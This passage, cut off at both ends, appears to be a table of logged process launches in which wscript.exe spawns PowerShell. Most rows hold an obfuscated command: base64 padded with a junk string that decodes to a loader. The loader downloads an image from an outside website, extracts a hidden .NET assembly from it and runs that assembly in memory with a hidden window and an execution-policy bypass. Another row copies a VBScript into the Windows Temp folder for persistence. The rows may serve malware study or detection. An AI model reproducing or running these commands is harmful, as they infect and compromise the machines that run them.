uçaOcqNPAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPYQByAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPSQBuAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPDsAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBiAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcwBlAuPACDÇXGiuçaOcqNPDYAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPBDAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPaQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPZwBlAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPLgBTAuPACDÇXGiuçaOcqNPHUAuPACDÇXGiuçaOcqNPYgBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPcgBpAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZwAuPACDÇXGiuçaOcqNPoAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEkAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBiAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcwBlAuPACDÇXGiuçaOcqNPDYAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPBMAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbgBnAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPaAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPpAuPACDÇXGiuçaOcqNPDsAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBjAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPEIAuPACDÇXGiuçaOcqNPeQB0AuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPcwAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPBbAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPeQBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPQwBvAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPdgBlAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBdAuPACDÇXGiuçaOcqNPDoAuPACDÇXGiuçaOcqNPOgBGAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPbwBtAuPACDÇXGiuçaOcqNPEIAuPACDÇXGiuçaOcqNPYQBzAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPNgAuPACDÇXGiuçaOcqNP0AuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPByAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPbgBnAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBiAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcwBlAuPACDÇXGiuçaOcqNPDYAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPBDAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPOwAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPbwBhAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPZQBkAuPACDÇXGiuçaOcqNPEEAuPACDÇXGiuçaOcqNPcwBzAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbQBiAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPeQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPBbAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPeQBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPUgBlAuPACDÇXGiuçaOcqNPGYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPGMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbgAuPACDÇXGiuçaOcqNPuAuPACDÇXGiuçaOcqNPEEAuPACDÇXGiuçaOcqNPcwBzAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbQBiAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPeQBdAuPACDÇXGiuçaOcqNPDoAuPACDÇXGiuçaOcqNPOgBMAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPYQBkAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBjAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPbQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPEIAuPACDÇXGiuçaOcqNPeQB0AuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPcwAuPACDÇXGiuçaOcqNPpAuPACDÇXGiuçaOcqNPDsAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPB0AuPACDÇXGiuçaOcqNPHkAuPACDÇXGiuçaOcqNPcAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBvAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPQQBzAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPB5AuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPRwBlAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPVAuPACDÇXGiuçaOcqNPB5AuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPoAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPRgBpAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPZQByAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPSAuPACDÇXGiuçaOcqNPBvAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPOwAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPZQB0AuPACDÇXGiuçaOcqNPGgAuPACDÇXGiuçaOcqNPbwBkAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPB5AuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPuAuPACDÇXGiuçaOcqNPEcAuPACDÇXGiuçaOcqNPZQB0AuPACDÇXGiuçaOcqNPE0AuPACDÇXGiuçaOcqNPZQB0AuPACDÇXGiuçaOcqNPGgAuPACDÇXGiuçaOcqNPbwBkAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJwBWAuPACDÇXGiuçaOcqNPEEAuPACDÇXGiuçaOcqNPSQAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPLgBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPdgBvAuPACDÇXGiuçaOcqNPGsAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPoAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPbgB1AuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPWwBvAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPagBlAuPACDÇXGiuçaOcqNPGMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBbAuPACDÇXGiuçaOcqNPF0AuPACDÇXGiuçaOcqNPXQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJwBkAuPACDÇXGiuçaOcqNPEgAuPACDÇXGiuçaOcqNPaAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPwAuPACDÇXGiuçaOcqNPEwAuPACDÇXGiuçaOcqNPbQAuPACDÇXGiuçaOcqNP1AuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPWQBpAuPACDÇXGiuçaOcqNPDgAuPACDÇXGiuçaOcqNPMAuPACDÇXGiuçaOcqNPBNAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPRQB5AuPACDÇXGiuçaOcqNPEwAuPACDÇXGiuçaOcqNPegBjAuPACDÇXGiuçaOcqNPDAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPTAuPACDÇXGiuçaOcqNPBqAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPdwBNAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPB6AuPACDÇXGiuçaOcqNPEwAuPACDÇXGiuçaOcqNPagBJAuPACDÇXGiuçaOcqNPDUAuPACDÇXGiuçaOcqNPTQBTAuPACDÇXGiuçaOcqNPDgAuPACDÇXGiuçaOcqNPdgBPAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPQgAuPACDÇXGiuçaOcqNPwAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPRwBnAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCwAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNPyAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPsAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwByAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPZwBhAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPbQAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPLAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPNAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPLAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPQwAuPACDÇXGiuçaOcqNP6AuPACDÇXGiuçaOcqNPFwAuPACDÇXGiuçaOcqNPVwBpAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBvAuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPcwBcAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPXAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCwAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPGgAuPACDÇXGiuçaOcqNPawBjAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPnAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPKQAuPACDÇXGiuçaOcqNP=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('AuPACDÇXGiuçaOcqNP','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" | ||||||
| parent_process | wscript.exe | martian_process | powershell.exe -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasm.vbs -Force } | ||||||
| parent_process | wscript.exe | martian_process | powershell -command "$Codigo = 'JAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPYQBnAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPVQByAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwBoAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBwAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPOgAuPACDÇXGiuçaOcqNPvAuPACDÇXGiuçaOcqNPC8AuPACDÇXGiuçaOcqNPdwBhAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBwAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPYwBhAuPACDÇXGiuçaOcqNPHYAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPuAuPACDÇXGiuçaOcqNPGMAuPACDÇXGiuçaOcqNPbwBtAuPACDÇXGiuçaOcqNPC8AuPACDÇXGiuçaOcqNPdQB3AuPACDÇXGiuçaOcqNPHAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPLwB1AuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPcAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP0AuPACDÇXGiuçaOcqNPDAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPNwAuPACDÇXGiuçaOcqNPyAuPACDÇXGiuçaOcqNPDgAuPACDÇXGiuçaOcqNPMAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPxAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPcAuPACDÇXGiuçaOcqNPBuAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPdwBlAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPQwBsAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPZQBuAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPTgBlAuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPLQBPAuPACDÇXGiuçaOcqNPGIAuPACDÇXGiuçaOcqNPagBlAuPACDÇXGiuçaOcqNPGMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPeQBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPTgBlAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPLgBXAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPYgBDAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPaQBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPaQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPZwBlAuPACDÇXGiuçaOcqNPEIAuPACDÇXGiuçaOcqNPeQB0AuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPcwAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPZQBiAuPACDÇXGiuçaOcqNPEMAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbgB0AuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPRAuPACDÇXGiuçaOcqNPBvAuPACDÇXGiuçaOcqNPHcAuPACDÇXGiuçaOcqNPbgBsAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPYQBkAuPACDÇXGiuçaOcqNPEQAuPACDÇXGiuçaOcqNPYQB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPKAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPbQBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPZQBVAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPpAuPACDÇXGiuçaOcqNPDsAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPG0AuPACDÇXGiuçaOcqNPYQBnAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPVAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPBbAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPeQBzAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPZQBtAuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPVAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPuAuPACDÇXGiuçaOcqNPEUAuPACDÇXGiuçaOcqNPbgBjAuPACDÇXGiuçaOcqNPG8AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBpAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZwBdAuPACDÇXGiuçaOcqNPDoAuPACDÇXGiuçaOcqNPOgBVAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPRgAuPACDÇXGiuçaOcqNP4AuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPRwBlAuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPUwB0AuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPaQBuAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPKAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPbQBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPZQBCAuPACDÇXGiuçaOcqNPHkAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPKQAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNP8AuPACDÇXGiuçaOcqNPDwAuPACDÇXGiuçaOcqNPQgBBAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPRQAuPACDÇXGiuçaOcqNP2AuPACDÇXGiuçaOcqNPDQAuPACDÇXGiuçaOcqNPXwBTAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPQQBSAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPPgAuPACDÇXGiuçaOcqNP+AuPACDÇXGiuçaOcqNPCcAuPACDÇXGiuçaOcqNPOwAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPEYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP9AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNP8AuPACDÇXGiuçaOcqNPDwAuPACDÇXGiuçaOcqNPQgBBAuPACDÇXGiuçaOcqNPFMAuPACDÇXGiuçaOcqNPRQAuPACDÇXGiuçaOcqNP2AuPACDÇXGiuçaOcqNPDQAuPACDÇXGiuçaOcqNPXwBFAuPACDÇXGiuçaOcqNPE4AuPACDÇXGiuçaOcqNPRAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNP+AuPACDÇXGiuçaOcqNPD4AuPACDÇXGiuçaOcqNPJwAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEkAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPD0AuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPGkAuPACDÇXGiuçaOcqNPbQBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPZQBUAuPACDÇXGiuçaOcqNPGUAuPACDÇXGiuçaOcqNPeAuPACDÇXGiuçaOcqNPB0AuPACDÇXGiuçaOcqNPC4AuPACDÇXGiuçaOcqNPSQBuAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPE8AuPACDÇXGiuçaOcqNPZgAuPACDÇXGiuçaOcqNPoAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPcwB0AuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPcgB0AuPACDÇXGiuçaOcqNPEYAuPACDÇXGiuçaOcqNPbAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPKQAuPACDÇXGiuçaOcqNP7AuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPZQBuAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPSQBuAuPACDÇXGiuçaOcqNPGQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPPQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPCQAuPACDÇXGiuçaOcqNPaQBtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPZwBlAuPACDÇXGiuçaOcqNPFQAuPACDÇXGiuçaOcqNPZQB4AuPACDÇXGiuçaOcqNPHQAuPACDÇXGiuçaOcqNPLgBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPTwBmAuPACDÇXGiuçaOcqNPCgAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBGAuPACDÇXGiuçaOcqNPGwAuPACDÇXGiuçaOcqNPYQBnAuPACDÇXGiuçaOcqNPCkAuPACDÇXGiuçaOcqNPOwAuPACDÇXGiuçaOcqNPkAuPACDÇXGiuçaOcqNPHMAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBhAuPACDÇXGiuçaOcqNPHIAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPtAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPZQAuPACDÇXGiuçaOcqNPgAuPACDÇXGiuçaOcqNPDAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPtAuPACDÇXGiuçaOcqNPGEAuPACDÇXGiuçaOcqNPbgBkAuPACDÇXGiuçaOcqNPCAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPJAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBJAuPACDÇXGiuçaOcqNPG4AuPACDÇXGiuçaOcqNPZAuPACDÇXGiuçaOcqNPBlAuPACDÇXGiuçaOcqNPHgAuPACDÇXGiuçaOcqNPIAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPtAuPACDÇXGiuçaOcqNPGcAuPACDÇXGiuçaOcqNPdAuPACDÇXGiuçaOcqNPAuPACDÇXGiuçaOcqNPgAuPACD